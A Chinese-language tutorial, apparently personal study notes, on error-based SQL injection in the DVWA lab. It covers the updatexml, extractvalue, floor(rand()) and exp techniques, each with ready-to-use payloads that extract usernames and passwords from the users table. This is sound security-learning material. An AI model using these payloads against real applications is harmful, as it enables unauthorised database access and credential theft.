DVWA SQL Injection - 报错注入
报错注入
我当前的理解,报错注入主要是用于无正常回显但是存在异常回显时;比如 SQL 语句执行正常时页面只给你弹出操作成功;但是执行失败时却会告知你失败的信息(通过提示框或者调试器中的注释输出等)
本篇报错注入的学习以 dvwa sql injection 为例,这个题正常回显与异常回显都有,本次我们不去看它存在的正常回显,利用异常回显实现注入
updatexml
这个函数是 mysql 用于实现 xml 文件的替换更新,主要涉及到三个参数:第一个参数是 xml 文档对象,第二个参数是用于定位的 xpath 语句,第三个参数是要替换的新值;
关键的报错点在 xpath 语句那里,xpath 语句可以使用 SQL 语句进行拼接,拼接后检查是否符合 xpath 语法,不符合的话会报错输出,常用的诱发元素为 ~
即 0x7e
这时按照之前的步骤就能爆破出最后的内容了,注意我们的爆破点是位于 concat
函数内部的子查询,这里只能返回一行数据,通常我们使用 group_concat
合并多行结果即可,但是 updatexml 的报错只支持 32 位,因此最好一行一行的使用 concat
limit
与 substring
逐个爆破
id=1' and updatexml(21321, concat(0x7e, substring((select concat(user, '|', password) from dvwa.users limit 1,1), 3, 31), 0x7e), 99) -- -
长度为 31 是因为开头有个
~
extractvalue
该函数与 updatexml 类似,也是利用的 xpath 解析错误实现的报错注入,只不过一个类似于 get 方法从 xml 文档中利用 xpath 提取目标内容;另一个类似于 set 方法从 xml 文档中利用 xpath 定位目标内容并替换;
extractvalue 第一个参数为 xml 文档对象,第二个参数为 xpath 语句,其利用如下:
1、payload:
?id=1' and extractvalue(1, 0x7e) -- -
2、数据获取
?id=1' and extractvalue(1, concat(0x7e,
substring(
(select group_concat(user, '|', password) from dvwa.users), 31, 31
)
)) -- -
依旧是存在 32 位显示问题
主要利用 substring
手动解决
floor
floor 函数使用于返回小于等于括号内该值的最大整数
原理:rand 伪随机函数与 order by 或 group by 函数的冲突:例如 floor(rand() * 2) 一开始计算得到了 0,group by 根据 0 分类统计,在写入要返回的虚表时 floor(rand() * 2) 还要计算一次结果,这次结果却是 1 ,这样就可能导致冲突
利用:floor(rand(0) * 2) 产生的随机数固定为 01101
1、一开始得到 0 虚表中没有 0 这一项,需要插入 key = floor(rand(0) * 2) value = 1 这一项,插入时 rand 重新计算得到 1,误插入了 (1, 1) 而非 (0,1);
2、继续 rand(0) 计算得到 1 这时存在 key = 1 的项,value + 1 即可;
3、继续 rand(0) 计算得到 0 这时不存在 key = 0 的项,需要插入 key = floor(rand(0) * 2) value = 1,rand 重新计算得到了 1,又插入了 (1, 1) 这一项,键值冲突,报错!
Tips:以 rand(0) 为基础的 payload 需要至少三条数据项才能实现报错注入
1、简单的检测下报错注入是否成功:注入成功
?id=1'+union+select+count(*),+concat(floor(rand(0)*2), 0x7e, database())+x+from+information_schema.tables+group+by+x+--+-
2、注入成功后只需要将 payload 替换即可:很明显这个报错回显也存在长度限制:62 位
?id=2'+union+select+count(*),+concat(floor(rand(0)*2), 0x7e, (select group_concat(user, '|', password) from dvwa.users))+x+from+information_schema.tables+group+by+x+--+-
3、利用 substring 与 limit 即可
?id=2'+union+select+count(*),+concat(floor(rand(0)*2), 0x7e, (substring((select group_concat(user, '|', password) from dvwa.users),1, 62) ) )+x+from+information_schema.tables+group+by+x+--+-
exp
exp 函数报错的本质是溢出报错,该函数会在传入值大于 710 时产生溢出,因此利用子查询默认返回值为 0 与取反操作即可得到一个让 exp 溢出的极大值,并利用报错执行了子查询内容获得了有意义的回显值
?id=1' and exp(~(select * from (select user())x)) -- -
并且报错回显不存在长度限制,比较方便:
?id=1' and exp(~(select * from (select group_concat(0x7e, user, 0x7e, password) from dvwa.users)x)) -- -
但是在 5.7 版本以上已经被修复了,本例是在 mysql-5.5.29 复现成功,在 mysql-5.7.26 复现失败:下图为失败效果,payload 执行失败